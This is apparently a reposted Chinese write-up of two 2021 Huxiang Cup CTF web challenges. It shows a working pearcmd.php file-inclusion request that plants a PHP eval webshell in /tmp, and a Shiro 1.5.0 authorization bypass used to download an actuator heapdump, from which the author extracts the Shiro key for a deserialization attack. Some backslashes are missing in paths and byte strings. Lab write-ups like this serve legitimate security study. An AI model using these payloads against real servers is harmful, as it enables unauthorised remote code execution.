2021-湖湘杯-Web

前言

总的来说的话,题目质量还是不错的,另外那道XSS也是0解,也幸好自己是一点XSS都不会(寒假补一波),卷是真的卷。还有很多的东西自己对其的认识都只停留在表面吧,还是得慢慢学习。除了shiro的鉴权绕过是自己之前专门学过的,所以打开pom.xml看到1.5.0的版本立马就知道这题得有个鉴权绕过,别的,剩下的打shiro一开始没打通才换了工具打(后来才发现我一直在拿cc的链子打,我说怎么打不通。。。)。还是慢慢学习了。

easywill

打开页面发现是个WillPHP,而且应该就是assign的模板渲染了,而且根据这个东西和tp有点关联,联想到tp的那个assign实现的文件包含。去下载源码跟一下,发现是在这里出现了任意文件包含

	public static function renderTo($viewfile, $vars = []) {
		$m = strtolower(__MODULE__);
		$cfile = 'view-'.$m.'_'.basename($viewfile).'.php';
		if (basename($viewfile) == 'jump.html') {
			$cfile = 'view-jump.html.php';
		}
		$cfile = PATH_VIEWC.'/'.$cfile;
		if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($viewfile)) {
		    echo "123";
			$strs = self::compile(file_get_contents($viewfile), $vars);
			var_dump($cfile);
			file_put_contents($cfile, $strs);
		}
		extract($vars);
		include $cfile;

在这里插入图片描述

但是找不到flag,发现pearcmd.php包含可以利用,直接打就可以了:

GET /?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/.feng.php+-d+man_dir=<?eval($_POST[0]);?>+-s+ HTTP/1.1

就把马写在了/tmp/.feng.php,再包含之即可:

在这里插入图片描述

Pentest in Autumn

pom.xml里面有个shiro 1.5.0。

打开网站发现没什么东西,扫了一下(bushi)扫到了actuator,但是很明显需要shiro得鉴权绕过:

/;/actuator/env

找到了这篇文章:https://www.cnblogs.com/icez/p/Actuator_heapdump_exploit.html

利用heapdump找到shiro的key来实现反序列化攻击。通过访问/;/actuator/heapdump下载下来,然后找key。

但是文章里的那个工具我本地用不了。。。我用了jdk自带的:

D:environmentjdk8u302-b08bin>jhat.exe C:Users15997Desktopheapdump
Reading from C:Users15997Desktopheapdump...
Dump file created Sun Nov 14 14:39:57 CST 2021
Snapshot read, resolving...
Resolving 286122 objects...
Chasing references, expect 57 dots.........................................................
Eliminating duplicate references.........................................................
Snapshot resolved.
Started HTTP server on port 7000
Server is ready.

经过一番寻找找到了key:

在这里插入图片描述

转换一下:

import base64
s= "0xa1, 0x58, 0xba, 0xdd, 0xa3, 0x90, 0xf8, 0x09, 0x2b, 0x92, 0x5e, 0xe4, 0x04, 0x8a, 0x42, 0x34"
print(s.replace(", ","").replace("0x",r"x"))

ss=b'xa1x58xbaxddxa3x90xf8x09x2bx92x5exe4x04x8ax42x34'
print(base64.b64encode(ss))
#b'oVi63aOQ+Akrkl7kBIpCNA=='

然后工具直接梭:

在这里插入图片描述

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
)">
下一篇>>